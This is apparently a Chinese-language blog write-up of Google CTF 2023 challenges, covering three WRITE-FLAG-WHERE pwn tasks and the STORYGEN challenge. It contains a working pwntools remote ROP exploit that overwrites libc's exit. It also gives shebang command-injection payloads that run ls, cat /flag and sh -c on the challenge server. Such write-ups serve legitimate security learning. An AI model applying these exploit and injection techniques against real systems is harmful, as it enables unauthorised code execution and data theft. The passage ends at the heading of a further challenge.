Joe1sn's Cabinet

【CTF】2023 Google CTF WriteUp与复现

端午节打的比赛,事情比较多没怎么看题,指导学弟做了下,这里来个复盘。

开始CTF的复健之路吧。

Pwn

WRITE-FLAG-WHERE

最简单的一道pwn,没有开ASLR保护。当时我的机器跑不起来,学弟的能跑,和他一起分析。

程序的主逻辑是读取/proc/self/maps来读取存在的内存(gdb中的vmmap就是这样实现的),然后把 flag 读取到一个全局变量中,最后我们可以在任意一个地址写入任意长度(<0x7f)的flag中的字符串。

当时我们是在arch上做的,使用gdb能看到输出,然后尝试将flag覆盖内存中的提示语句

image-20230626235900892

那么地址就是 *$rebase(0x21E0),尝试远程

image-20230627000119117

得到flag

CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}

WRITE-FLAG-WHERE 2

当时离做出来差了亿点点。

保护没变,但是删除了之前的字符串修改点。后来我看到了有一段无关的代码段

image-20230627000724135

后来想这道题快想魔怔了

【未解出】使用sscanf覆盖

image-20230627000846031

挺疯狂的一个想法,由于死循环内不存在输入,但是sscanf会根据你的输入去匹配,然后我们又知道flag是CTF{xxxx},所以可以覆盖0x%llx %u的第一个,类似于:

image-20230627001051107

逐步缩小地址爆破得到flag,但是考虑到工作量而且太久没做CTF导致pwntools的不熟悉没有能成功

【差一点】可视化shellcode

和上面的思路差不多,只不过是利用了T的ASCII为0x54,而0x54的汇编码是push rsp,那么一直写入T,让最后的退出划入那段不相关的代码段

image-20230627001337193

1
2
3
4
5
6
7
8
9
10
11
def nop2(addr,lenth):
r.sendline(b"0x%x %d" % (addr+base,lenth))
sleep(0.1)

nop2(0x20d5,50)

for i in range(10):
nop2(0x1443-i,2)

sleep(0.1)
r.sendline(b"0x1234 111111")

image-20230627015659635

最后得到flag

CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}

注意:由于网络延时最后的flag不开代理导致没有收到…

WRITE-FLAG-WHERE 3

上一道题直接导致心态爆炸,这道题没怎么看。不过看上去限制了我们能修改的地址范围 不能main函数±0x5000的位置,导致之前的exp失效。

image-20230627011217278

不过本地patched过的版本成功调用了alarm

image-20230627013114680

那么试试修改libc中的报错为flag,但是不行

不过思路也是很接近的了,在官方的exp中使用了},作为jnp来进行爆破。其他也是使用了一下gadget,利用jnp 0x48实现ROP的跳转

1
2
3
4
r3tr0@pwnmachine:~$ rasm2 -ax86 -b64 -d 0x4354467b4354 
push r12
jnp 0x48
push rsp
  1. 使用2中的思路覆写libc中的exit
  2. 由于输入位于栈上使用,输入组合的ROP链,由于libc中的exit已经被覆写,所以程序会返回ret,从而触发ROP链,最后实现write写出flag

这里使用r3kpig的exp打一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
# p=process('./main',env={"LD_PRELOAD":"./libc.so.6"})
# gdb.attach(p)
# p.interactive()
# exit(1)
sh='''
b *0x555555555478
b *0x555555555491
b exit
'''
# p = process("./chal")
# p = gdb.debug("./chal",sh,env={"LD_PRELOAD":"./libc.so.6"})
p = remote("wfw3.2023.ctfcompetition.com",1337)
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
def ch(addr,l):
target = addr
pay = hex(target).encode()+b" "+str(l).encode()
p.send(pay.ljust(0x40,b'\0'))
def end(l):
p.send(flat(l).ljust(0x40,b'\xff'))
p.read()
def nop(addr,l):
if l%2!=0:
l=l-1
ch(addr+l-1,1)
for x in range(0,l,2):
ch(addr+x,2)

ru(b" expire\n")
PIE = int(p.readuntil(b"-")[:-1],0x10)
info(hex(PIE))
for x in range(7):
ru(b"\n")
base = int(p.readuntil(b"-")[:-1],0x10)
info(hex(base))
ru(b"\n\n")
ch(0x455f0+0x1b+base,1)
ch(0x455f0+0x17+base,1)
ch(0x455f0+0x2b-3+base,1)
ch(0x455f0+0x2b-2+base,2)
ch(0x455f0+0x1f+base,1)
ch(0x455f0+0x4+base,1)
ch(0x455f0+0x26+base,1)
rdi = 0x000000000002a3e5+base
bprintf = 0x555555555090-0x555555554000+PIE
flag = 0x5555555590A0-0x555555554000+PIE
rsi = 0x000000000002be51+base
end([rdi,1337,rsi,flag,bprintf,])
p.interactive()

image-20230627020446490

得到flag

CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}

STORYGEN

下载下来是python文件。

发现使用了os.system("/tmp/script.sh"),那么顺着逻辑去分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

#@NAME's story

NAME='@NAME'
WHERE='@WHERE'

echo "$NAME came from $WHERE. They always liked living there."
echo "They had 3 pets:"

types[0]="dog"
types[1]="cat"
types[2]="fish"

names[0]="Bella"
names[1]="Max"
names[2]="Luna"


for i in 1 2 3
do
size1=${#types[@]}
index1=$(($RANDOM % $size1))
size2=${#names[@]}
index2=$(($RANDOM % $size2))
echo "- a ${types[$index1]} named ${names[$index2]}"
done

echo

echo "Well, I'm not a good writer, you can write the rest... Hope this is a good starting point!"
echo "If not, try running the script again."

然后输入替换这段脚本

open("/tmp/script.sh", "w").write(STORY.replace("@NAME", name).replace("@WHERE", where).strip())

不过存在小WAF

1
2
def sanitize(s):
return s.replace("'", '').replace("\n", "")

首要思路肯定是命令注入,而且在首行的#@NAME's story自带了一个',如果你对shell脚本比较了解的话,会知道往往是以#!/bin/bash开始的,尝试一下

image-20230627151715441

成功调用了/bin/bash。赛后看wp发现这个是Shebang(也称为Hashbang),是一种在Unix和类Unix系统中用于指定脚本解释器的约定,它是通过在脚本文件的第一行以特定格式指定解释器的路径来实现的,可以利用这种方式直接./hello.py,比如:

1
2
#!/usr/bin/python3
print("hello")

image-20230627195529980

image-20230627195549157

那么开始构造exp,需要注意的是尽量使用\x00截断

官方wp中介绍了一种技巧:#!/bin/cat<空格>的时候会读取自身脚本的内容,首先使用ls -al查看目录,最后排查到根目录

'!/usr/bin/env -S ls -al /\x00'

image-20230627202031628

尝试读取flag,出现提示

!/usr/bin/env -S cat /flag\x00

image-20230627202132139

得到提示,最后使用payload得到flag

!/usr/bin/env -S sh -c "/get_flag Give flag please"\x00

image-20230627202249168

CTF{Sh3b4ng_1nj3cti0n_ftw}

UBF